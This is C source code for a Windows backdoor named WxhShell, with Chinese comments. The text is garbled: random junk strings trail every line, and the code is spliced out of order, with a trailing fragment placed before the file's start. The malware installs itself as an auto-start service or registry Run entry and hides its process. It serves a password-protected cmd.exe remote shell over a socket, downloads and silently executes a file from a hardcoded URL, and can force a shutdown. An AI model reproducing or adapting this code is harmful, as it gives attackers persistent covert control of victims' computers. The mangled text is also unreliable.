    if(Boot(SHUTDOWN)) 9&-dTayIz  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Sq>dt[7  
    else { cvn@/qBq*t  
    closesocket(wsh); "%`1 ]Fr  
    ExitThread(0); dU&a{ $ku[  
    } K[I=6  
    break; d~9A+m3b_  
    } I&D5;8  
  // 获取shell ,?J!  
  case 's': { |^&b8  
    CmdShell(wsh); ?&8^&brwG  
    closesocket(wsh); ],@rS9K  
    ExitThread(0); C)[,4wt,  
    break; @E&J_un  
  } NW~N}5T  
  // 退出 >!eAM )  
  case 'x': { ,`'Qi%O  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); @6Y?\Wx$w  
    CloseIt(wsh); v [wb~uw\  
    break; %0S3V[4I  
    } 7x"R3  
  // 离开 +SP{hHa^  
  case 'q': { nHM~  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ]J1dtN=  
    closesocket(wsh); VQc_|z_ s  
    WSACleanup(); b.2aHu( 3  
    exit(1); &PR5q 7  
    break; rN<0 R`4sE  
        } R3 -n>V5o  
  } lUOF4U&r  
  } [T8WThs  
F%@A6'c  
  // 提示信息 E-T)*`e  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); EuZ<quwWg  
} @:oXN]+ _  
  } >nJ\BPx  
Y xr>"KH6a  
  return; T:27r8"Rh  
} OV1_|##LC  
JA %J$d  
// shell模块句柄 \ ZgE  
int CmdShell(SOCKET sock) /Wi[OT14  
{ cq,SP&T~  
STARTUPINFO si; +^` I?1\UF  
ZeroMemory(&si,sizeof(si)); QE^$=\l0  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Gw}%{=D9  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; n<Z({\9&H  
PROCESS_INFORMATION ProcessInfo; tIWmp30S  
char cmdline[]="cmd"; |6.l7u ?d  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); GSoX<*i  
  return 0; RVZ")Z(  
} $h+1u$po  
_~'=C#XI)  
// 自身启动模式 !8TlD-ZT/  
int StartFromService(void) MUaq7B_>  
{ prWk2_D;*  
typedef struct K?6jXJseb  
{ eQ$Y0qH1E  
  DWORD ExitStatus; !44/sr'  
  DWORD PebBaseAddress; 6LvW?z(J  
  DWORD AffinityMask; Lm iOhx  
  DWORD BasePriority; 0CZ :Bo[3  
  ULONG UniqueProcessId; g{7.r-uu  
  ULONG InheritedFromUniqueProcessId; AuvkecuIh  
}   PROCESS_BASIC_INFORMATION; G~F b  
S(k3 `;K  
PROCNTQSIP NtQueryInformationProcess; ^%d\qd`   
YX!{P=Ua  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; n7zm>&  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; R"-mKT}  
^PDJ0k/u1  
  HANDLE             hProcess; G0CW}e@)  
  PROCESS_BASIC_INFORMATION pbi; e6`Jbu+J<f  
jte.Xy~g  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 0.\/\V:H6  
  if(NULL == hInst ) return 0; 1jx:;j  
S.mG?zbw  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); {AhthR%(1  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA");  U'k*_g  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); DEBB()6,  
2bv=N4ly  
  if (!NtQueryInformationProcess) return 0; x!?u^  
f&=AA@jLv  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); XPavReGf  
  if(!hProcess) return 0; h&M{]E9=  
h}>"j%I  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Z&G+bdA>,  
|hKDvH  
  CloseHandle(hProcess); 7!$Q;A  
WQx?[tW(U  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); [meO[otb  
if(hProcess==NULL) return 0; ;o 6lf_  
#oS<E1  
HMODULE hMod; ;(b9#b.  
char procName[255]; U#0Q)  
unsigned long cbNeeded; IY_iB*T3jt  
]P9l jwR  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); B |5]Jm]  
kGH}[w  
  CloseHandle(hProcess); s%vis{2  
%2}-2}[>  
if(strstr(procName,"services")) return 1; // 以服务启动 ADz ^\  
D.r<QO~6B  
  return 0; // 注册表启动 2+RUTOv/d  
} VRVO-Sk  
M  f}~{+  
// 主模块 Rm2yPuOU}A  
int StartWxhshell(LPSTR lpCmdLine) ~G)S   
{ I )~GZ  
  SOCKET wsl; ;d@#XIS&-(  
BOOL val=TRUE; !`M,XSp(  
  int port=0; 3#W T.4k  
  struct sockaddr_in door; h! M  
%Si6]3-^@  
  if(wscfg.ws_autoins) Install(); FDv<\2+ c  
X1:V<,}"  
port=atoi(lpCmdLine); a Fl;BhM  
i"1Mfz~e  
if(port<=0) port=wscfg.ws_port; O+nEXS\rQ  
Hf%@3X  
  WSADATA data; k)i3   
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; W 6^5YH%  
ISzqEi  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   $6#CqWhI  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); L,HhbTRca  
  door.sin_family = AF_INET; `A,-@`p  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); gl~ecc  
  door.sin_port = htons(port);  Z< 1  
rbul8(1h  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { &r[`>B{tP  
closesocket(wsl); <S5BDk  
return 1; UgRhWV~f0  
} .zr-:L5{  
d}OTO10  
  if(listen(wsl,2) == INVALID_SOCKET) { , xw#NG6  
closesocket(wsl); imVo<Je7z(  
return 1; UI0( =>L  
} @tF\p  
  Wxhshell(wsl); \|n- O=}=2  
  WSACleanup(); 8mCxn@yV  
EHSlK5bD,  
return 0; jxP;>K7O  
$ux,9H'[  
} +*\u :n  
Cw~q4A6'  
// 以NT服务方式启动 t;){D:]k  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) &]Q@7Nl7:l  
{ o m!!Sl3  
DWORD   status = 0; /hpY f]t  
  DWORD   specificError = 0xfffffff; $&Gu)4'+  
l\f*d6o  
  serviceStatus.dwServiceType     = SERVICE_WIN32; J; S (>c  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; &PL8|w  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; .7O*pJ2(H  
  serviceStatus.dwWin32ExitCode     = 0; 0q^>ZF-@  
  serviceStatus.dwServiceSpecificExitCode = 0; x!hh"x  
  serviceStatus.dwCheckPoint       = 0; _PPy44r2  
  serviceStatus.dwWaitHint       = 0; 2"COP>  
MO[2~`,Q!  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); q~rEq%tk  
  if (hServiceStatusHandle==0) return; ]yV!  
)"qa kT  
status = GetLastError(); c& < Fr[AK  
  if (status!=NO_ERROR) dLH(D: `  
{ Upx G@b  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; O],T,Z?z  
    serviceStatus.dwCheckPoint       = 0; E!;SL|lj.  
    serviceStatus.dwWaitHint       = 0; XYQ/^SI!:  
    serviceStatus.dwWin32ExitCode     = status; wDw[RW3  
    serviceStatus.dwServiceSpecificExitCode = specificError; N[?N5~jG  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); OwuE~K7b{  
    return; aasoW\UG  
  } 5b5x!do  
|Yx~;q:  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; +u.1 ;qF  
  serviceStatus.dwCheckPoint       = 0; \c,ap49RC  
  serviceStatus.dwWaitHint       = 0;  ;i4Q|  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); SQ@y;|(  
} x;w6na  
CJtcn_.F  
// 处理NT服务事件,比如:启动、停止 .b_)%jd x  
VOID WINAPI NTServiceHandler(DWORD fdwControl) y@1+I ~@  
{ >d@&2FTO  
switch(fdwControl) uMUBh 80,L  
{ 9X[kEl  
case SERVICE_CONTROL_STOP: u\a#{G;Z  
  serviceStatus.dwWin32ExitCode = 0; r+'qd)  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; w!#tTyk`  
  serviceStatus.dwCheckPoint   = 0; (XVw"m/ye  
  serviceStatus.dwWaitHint     = 0; M\vwI"  
  { Cmu@4j&  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); iky|Tp  
  } w?3p';C  
  return; PYiU_  
case SERVICE_CONTROL_PAUSE: md=TjMaY  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; JELT ou  
  break; \$R_YKGf1G  
case SERVICE_CONTROL_CONTINUE: {]*c29b>  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 'QJ:`)z  
  break; 90Pl$#cb2  
case SERVICE_CONTROL_INTERROGATE: dMPc:tJT  
  break; c>,KZ!  
}; 9 *xR6  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); czA5n  
} R$v[!A+:'  
>~#yu&*D  
// 标准应用程序主函数 B`YTl~4  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) LU \i0|i|  
{ #r$cyV!k  
ks&*O!h  
// 获取操作系统版本 Ki4r<>\l{H  
OsIsNt=GetOsVer(); F7A=GF'  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ZLc -RM  
%}[i'rT>  
  // 从命令行安装 AmvEf  
  if(strpbrk(lpCmdLine,"iI")) Install(); }\hVy(\c  
x`U^OLV  
  // 下载执行文件 d+<G1w&z  
if(wscfg.ws_downexe) { %fc !2E9|  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ng[Ar`  
  WinExec(wscfg.ws_filenam,SW_HIDE); 8G9s<N}5&u  
} H=@}=aPf  
[I0:=yJ+  
if(!OsIsNt) { C'G/AU  
// 如果时win9x,隐藏进程并且设置为注册表启动 \<.+rqa!  
HideProc(); # Nk;4:[  
StartWxhshell(lpCmdLine); *7:>EP  
} \jh'9\  
else >/g#lS 5  
  if(StartFromService()) +"x,x  
  // 以服务方式启动 G"klu  
  StartServiceCtrlDispatcher(DispatchTable); B+Rm>^CBm  
else . kQkC:~9  
  // 普通方式启动 M*y)6H k~  
  StartWxhshell(lpCmdLine); ^({})T0wu  
%u?>#  
return 0; 3e #p @sB  
} +:8fC$vVfC  
-mAUo;O  
>x/z7v?^I  
Bs13^^hu  
=========================================== wZG\>9~  
l-fi%Z7C  
5k!g%sZ  
lun#^J  
1uG"f<TsR  
"&%I)e^  
" ;>#wU'  
< nXL  
#include <stdio.h> ht7l- AK  
#include <string.h> 00'%EYO  
#include <windows.h> +vvv[  
#include <winsock2.h> ;QWIsVz  
#include <winsvc.h> V\t.3vT  
#include <urlmon.h> BD68$y  
4 kn|^  
#pragma comment (lib, "Ws2_32.lib") (gEBOol  
#pragma comment (lib, "urlmon.lib") N< |@ymi  
kEJj=wx  
#define MAX_USER   100 // 最大客户端连接数 .GV;+8HzS  
#define BUF_SOCK   200 // sock buffer 5G::wuxk  
#define KEY_BUFF   255 // 输入 buffer S-P/+K6  
e_#._Pi  
#define REBOOT     0   // 重启 8hXl%{6d3  
#define SHUTDOWN   1   // 关机 RzxNbeki[W  
PbW(%7o(t  
#define DEF_PORT   5000 // 监听端口 =V-A@_^!c  
o%v0h~tn  
#define REG_LEN     16   // 注册表键长度 uH/J]zKR  
#define SVC_LEN     80   // NT服务名长度 Z&#('Z  
0M*Z'n +  
// 从dll定义API S\4tzz @  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); B&\IGWG(  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); FR$:"  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); OPwtV9%  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); .}^g!jm~h  
ao%NK<Lt  
// wxhshell配置信息 8?J&`e/  
struct WSCFG { ZU85P0  
  int ws_port;         // 监听端口 V}bjK8$$  
  char ws_passstr[REG_LEN]; // 口令 4y)P>c  
  int ws_autoins;       // 安装标记, 1=yes 0=no 2w59^"<,  
  char ws_regname[REG_LEN]; // 注册表键名 E7NV ^4h  
  char ws_svcname[REG_LEN]; // 服务名 }0eF~>Df  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 y6LWx:  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 lH-/L(h2  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Z9:-rcr  
int ws_downexe;       // 下载执行标记, 1=yes 0=no M1 :uJkO.  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" b8~Bazk  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 C3*gn}[  
I2TaT(e\  
}; d_CKP"TA  
0>C T=(A  
// default Wxhshell configuration n.T&}ZPz\v  
struct WSCFG wscfg={DEF_PORT, ,#Iu 7di  
    "xuhuanlingzhe", Ewu O&q  
    1, >XK PTC5H  
    "Wxhshell", d^RxQuA  
    "Wxhshell", IHe/xQ@  
            "WxhShell Service", $8;R[SU6Y  
    "Wrsky Windows CmdShell Service", ~T9/#-e>BF  
    "Please Input Your Password: ", QFw  +cy  
  1, * vflscgt  
  "http://www.wrsky.com/wxhshell.exe", _I:~@  
  "Wxhshell.exe" e^d0zl{  
    }; Ai:BEPKe  
{/"2Vk<H8  
// 消息定义模块 -j%,Oo  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; &f"-d  
char *msg_ws_prompt="\n\r? for help\n\r#>"; {kp"nl$<  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 9)}[7Mg:C  
char *msg_ws_ext="\n\rExit."; pi /g H  
char *msg_ws_end="\n\rQuit."; ;-9=RI0  
char *msg_ws_boot="\n\rReboot..."; $eD.W  
char *msg_ws_poff="\n\rShutdown..."; qm./|#m>  
char *msg_ws_down="\n\rSave to "; EKA#|^Q:NX  
cVubb}ou  
char *msg_ws_err="\n\rErr!"; ,u!*2cWN  
char *msg_ws_ok="\n\rOK!"; G;&-\0>W  
1KMLG=  
char ExeFile[MAX_PATH]; uZc`jNc\  
int nUser = 0; .l>77zM6  
HANDLE handles[MAX_USER]; #z&& M"*a|  
int OsIsNt; X*M#FT-  
%`OJ.:k  
SERVICE_STATUS       serviceStatus; 3|WWo1  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; )0ea+ ib  
P\w\N2  
// 函数声明 VSrr`B  
int Install(void); }2<r,  
int Uninstall(void); 7l'6gg  
int DownloadFile(char *sURL, SOCKET wsh); <0H"|:W>I]  
int Boot(int flag); ]DOX?qI i  
void HideProc(void); mX\T D0$d  
int GetOsVer(void); whpfJNz  
int Wxhshell(SOCKET wsl); TT'[qfAI  
void TalkWithClient(void *cs); 8dZ0rPd?  
int CmdShell(SOCKET sock); 3^R&:|,  
int StartFromService(void); z8QAo\_I(  
int StartWxhshell(LPSTR lpCmdLine); :|_'fNd+!  
&=#[(vl  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); >_o}  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); X*&[u7No  
E_k$W5  
// 数据结构和表定义 'SCidN(n  
SERVICE_TABLE_ENTRY DispatchTable[] = #bMuvaP~  
{ |UK}  
{wscfg.ws_svcname, NTServiceMain}, K<pV  
{NULL, NULL} hCCiD9gz  
}; S/^"@?z,vE  
X}tVmO?  
// 自我安装 My<snmr2d  
int Install(void) yHs- h   
{ 'XZ) !1N  
  char svExeFile[MAX_PATH]; O$IEn/%+  
  HKEY key; F{EnOr`,m=  
  strcpy(svExeFile,ExeFile); \]=7!RQ\  
kB/D!1 "  
// 如果是win9x系统,修改注册表设为自启动 ,=tD8@a<  
if(!OsIsNt) { |p><'Q% *  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { KHgBo}6  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @n(Z$)8tR  
  RegCloseKey(key); dE:+k/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ^~G8?]w  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^SxY IFL  
  RegCloseKey(key); &GlwC%$S  
  return 0; U4gF(Q  
    } _{r=.W+ w  
  } @c<3b2  
} LUuZ9$t0J"  
else { 6xWe=QGE  
hJDi7P  
// 如果是NT以上系统,安装为系统服务 :Qumb  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); >iD )eB  
if (schSCManager!=0) {P{bOe  
{ sA'6ty  
  SC_HANDLE schService = CreateService --HF8_8;'  
  ( c.,2GwW  
  schSCManager, NXNY"r7~  
  wscfg.ws_svcname, _h X]%  
  wscfg.ws_svcdisp, ;cPy1  
  SERVICE_ALL_ACCESS, >)spqu]  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , !OA]s%u  
  SERVICE_AUTO_START, }&n<uUDH  
  SERVICE_ERROR_NORMAL, BB~OqZIP  
  svExeFile, D&}3$ 7>  
  NULL, 4zJtOK?r"  
  NULL, }"=AG  
  NULL, "NgxkbDEbG  
  NULL, r9 ui|>U"  
  NULL 3E>frR\!I  
  ); !R1.7}O  
  if (schService!=0) h&Efg   
  { |`lzfe  
  CloseServiceHandle(schService); 3=Cc.a/3  
  CloseServiceHandle(schSCManager); oXxCXO,q  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); HuwU0:*  
  strcat(svExeFile,wscfg.ws_svcname); 2_zp:v  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { }RHn)}+  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); LUC4=kk4   
  RegCloseKey(key); l~6?kFy9h  
  return 0; o'W5|Gy  
    } uoHNn7W  
  } %,D<O,N  
  CloseServiceHandle(schSCManager); &jsVw)Ue  
} 7PANtCFb&  
} bzX\IrJpOZ  
GlbySD@  
return 1; gF[z fDm  
} Md0 s K  
oo=Qt(#  
// 自我卸载 $% 1vW=d  
int Uninstall(void) <Wp QbQM  
{ #a`a$A  
  HKEY key; {@tv>!WW  
4?-.Z UT-1  
if(!OsIsNt) { qEpi]=|  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1jc, Y.mP  
  RegDeleteValue(key,wscfg.ws_regname); hRty [  
  RegCloseKey(key); WHjUR0NZ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { R}lsnX<  
  RegDeleteValue(key,wscfg.ws_regname); [P 06lIO  
  RegCloseKey(key); Z\HX~*,6  
  return 0; `FsH}UPu b  
  } z)9wXo#~  
} 0&/b42W  
} ;PjQt=4K  
else { &2`Fn!m  
q|8{@EMT  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); M-[ $L XR  
if (schSCManager!=0) Zf'TJ `S  
{ o>7ts&rk  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); i K12 pw  
  if (schService!=0) S(uf(q|{  
  { 'UMXq~RMe  
  if(DeleteService(schService)!=0) { wg0 \_@3  
  CloseServiceHandle(schService); ,4ei2`wV  
  CloseServiceHandle(schSCManager); sO.`x*  
  return 0; L2, 1Kt7  
  } 9nH?l{As   
  CloseServiceHandle(schService); GKoK7qH\J  
  } Hd,p!_  
  CloseServiceHandle(schSCManager); wc!onZX5  
} L+'Fs  
} xo&]RYG[<  
]79:yMD~ba  
return 1; ox%9Ph  
} N_pJk2E  
1qf!DMcdZ  
// 从指定url下载文件 oiX+l5`pz  
int DownloadFile(char *sURL, SOCKET wsh) tl><"6AIP  
{ Clh!gpB c  
  HRESULT hr; 1[jb)j1  
char seps[]= "/"; (y M^  
char *token; BM(]QUxRd  
char *file; 7c~u=U"  
char myURL[MAX_PATH]; w^LuIbA  
char myFILE[MAX_PATH]; 5!EJxP9  
v@wb"jdFi$  
strcpy(myURL,sURL); de>v  
  token=strtok(myURL,seps); "R3d+p  
  while(token!=NULL) kI:}| _  
  { 2D:fJ~|-[  
    file=token; S-YM%8A[  
  token=strtok(NULL,seps); A?`jnRo=\  
  } Zc!@0  
e'=MQ,EWd  
GetCurrentDirectory(MAX_PATH,myFILE); +3&z N(  
strcat(myFILE, "\\"); qA!]E^0*Ke  
strcat(myFILE, file); ei6AV1| p  
  send(wsh,myFILE,strlen(myFILE),0); MW PvR|Q  
send(wsh,"...",3,0); T}4/0yR2  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); F35#dIs`&  
  if(hr==S_OK) 2^)1N>"g  
return 0; S6fL>'uQ  
else ak:ibV  
return 1; E@P %v{)  
Qu7T[ <  
} >P/][MT  
]ix!tb.Q  
// 系统电源模块 @"o@}9=d  
int Boot(int flag) kWNV%RlSx  
{ v*9<c{a  
  HANDLE hToken; 3q`)*  
  TOKEN_PRIVILEGES tkp; SL,p36N  
MdXchO-Lyc  
  if(OsIsNt) { BSkDpr1C  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 1y lk4@`  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); M4d47<'*~  
    tkp.PrivilegeCount = 1; #rY sj-2  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; HU9Sl*/  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 4[BG#  
if(flag==REBOOT) { QjC22lW-  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) tOOchu?=  
  return 0; cetvQAGXY  
} [xT:]Pw}  
else { EZYBeqv  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 9 Rx s  
  return 0; 0d3+0EN{  
} gd0Vp Xf'  
  } NuYkz"O]  
  else { 5bA)j!#)|X  
if(flag==REBOOT) { UThB7(O,  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Nx-uQ^e*1  
  return 0; 5l,ZoB8  
} ]q6;#EUr?  
else { CT\;xt,S  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ]IL;`>Gp  
  return 0; 7^M9qTEHp  
} F {B\kq8  
} +z9gbcx  
7#~+@'Oe  
return 1; t#S<iBAZ  
} ay %KE=*v  
1-Po Z[p-R  
// win9x进程隐藏模块 7Su#Je]  
void HideProc(void) *A~ G_0B  
{ ;3 F"TH  
<HRBMSR+  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); FVKW9"AyW  
  if ( hKernel != NULL ) 8&Myva  
  { T2D<UhP  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); w ~ dk#=  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); .)+h H y  
    FreeLibrary(hKernel); fi+R2p~vs  
  } S=xA[%5  
XUF\r]B,9  
return; ^0#; YOk  
} z`Hy'{1  
)~V4+*<  
// 获取操作系统版本 VqE~c  
int GetOsVer(void) } %'bullT  
{ k"N(o(  
  OSVERSIONINFO winfo; ^T.E+2=>z  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); o0ZM[0@j  
  GetVersionEx(&winfo); Sggq3l$Qc  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) =E&OuX-R  
  return 1; E0/mSm"(T  
  else Z--@.IYoJ  
  return 0; #UtFD^h  
} @VN&t:/l  
2..,Sk  
// 客户端句柄模块 I2 a6w<b  
int Wxhshell(SOCKET wsl) x'zBK0i  
{ l_j4DQBRV  
  SOCKET wsh; cD4 kC>P*  
  struct sockaddr_in client; TM8 =U-A  
  DWORD myID; 7?v#'Ie s  
2qi'g:qe  
  while(nUser<MAX_USER) /cK%n4l.y  
{ IG?'zppjd6  
  int nSize=sizeof(client); m'-|{c  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); `funE:>,  
  if(wsh==INVALID_SOCKET) return 1; `]v[5E  
)>7%pz  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); o&hIHfZri  
if(handles[nUser]==0) Jd,)a#<j  
  closesocket(wsh); f1PN |  
else E`j-6:  
  nUser++; i-U4RZE  
  } za'6Y*CGgX  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); hCYQGx0  
_al|'obomy  
  return 0; =&dW(uyzY  
} 7DKz;o  
)s9',4$eK<  
// 关闭 socket $DBGLmw  
void CloseIt(SOCKET wsh) AOp/d(vx5i  
{ `O^G5 0  
closesocket(wsh); \#'TNmS  
nUser--; qi^!GA'5j  
ExitThread(0); #,(sAj  
} q@hp.(V  
>O/ D!j|  
// 客户端请求句柄 !'=15&5@  
void TalkWithClient(void *cs) }<jb vCeK  
{ zNSu  
-;;Z 'NM;8  
  SOCKET wsh=(SOCKET)cs; i{^Z1;Yl  
  char pwd[SVC_LEN]; ^O^:$nXhYy  
  char cmd[KEY_BUFF]; h5kPn~  
char chr[1]; /$"[k2 N  
int i,j; QFPfIb/  
O;HY%  
  while (nUser < MAX_USER) { GO! uwo:  
fWGOP~0  
if(wscfg.ws_passstr) { 3E^M?N2oc  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); T88Y qI  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); QIB>rQCceo  
  //ZeroMemory(pwd,KEY_BUFF); 2}vg U$a  
      i=0; QO{y/{  
  while(i<SVC_LEN) { -V % gVI[  
0(8H;T  
  // 设置超时 w> xV  
  fd_set FdRead; ]+DI.%   
  struct timeval TimeOut; .w6eJ4 ]  
  FD_ZERO(&FdRead); O)R(==P26P  
  FD_SET(wsh,&FdRead); r C[6lIP  
  TimeOut.tv_sec=8; B6}FIg)  
  TimeOut.tv_usec=0; Dbx~n#nG  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); kJs^ z  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); i;PL\Er:tX  
m+$ @'TbP  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); W</n=D<,I  
  pwd=chr[0]; E{Pgf8  
  if(chr[0]==0xd || chr[0]==0xa) { :Zw @yt  
  pwd=0; MVv1.6c7Y  
  break; {}>n{_  
  } pN[0YmY#  
  i++; IO.<q,pP!_  
    } o**yZ2  
%qsvtc`  
  // 如果是非法用户,关闭 socket Zszs1{t  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); (y4#.vZh:  
} 2_QN&o ~h  
d6 _C"r  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); h7_)%U<J2  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); K_-d(  
*HM?YhR  
while(1) { ,je`YEC  
P}3}ek1Ax  
  ZeroMemory(cmd,KEY_BUFF); @nV5.r0W}B  
!{_yaVF  
      // 自动支持客户端 telnet标准   x;BbTBc>  
  j=0; E^ h=!RW{  
  while(j<KEY_BUFF) { f%qt)Ick  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ?Ce#BwQ>  
  cmd[j]=chr[0]; Vs 0 SXj  
  if(chr[0]==0xa || chr[0]==0xd) { ?T: jk4+  
  cmd[j]=0; zjX7C~h^Q  
  break; ^ DAa%u  
  } u>T76,8|\  
  j++; QYE7p\  
    } WN a0,  
ek-!b!iI  
  // 下载文件 t]_S  
  if(strstr(cmd,"http://")) { 6a}r( yP  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ySN V^+  
  if(DownloadFile(cmd,wsh)) DhKr;e  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); rE!1wc>L  
  else &b C}3D  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); sJr5t?  
  } v1[_}N9f>H  
  else { t)1phg4H)  
JSMPyj  
    switch(cmd[0]) { !DjT<dxf  
  f_r0})  
  // 帮助 \x\.  
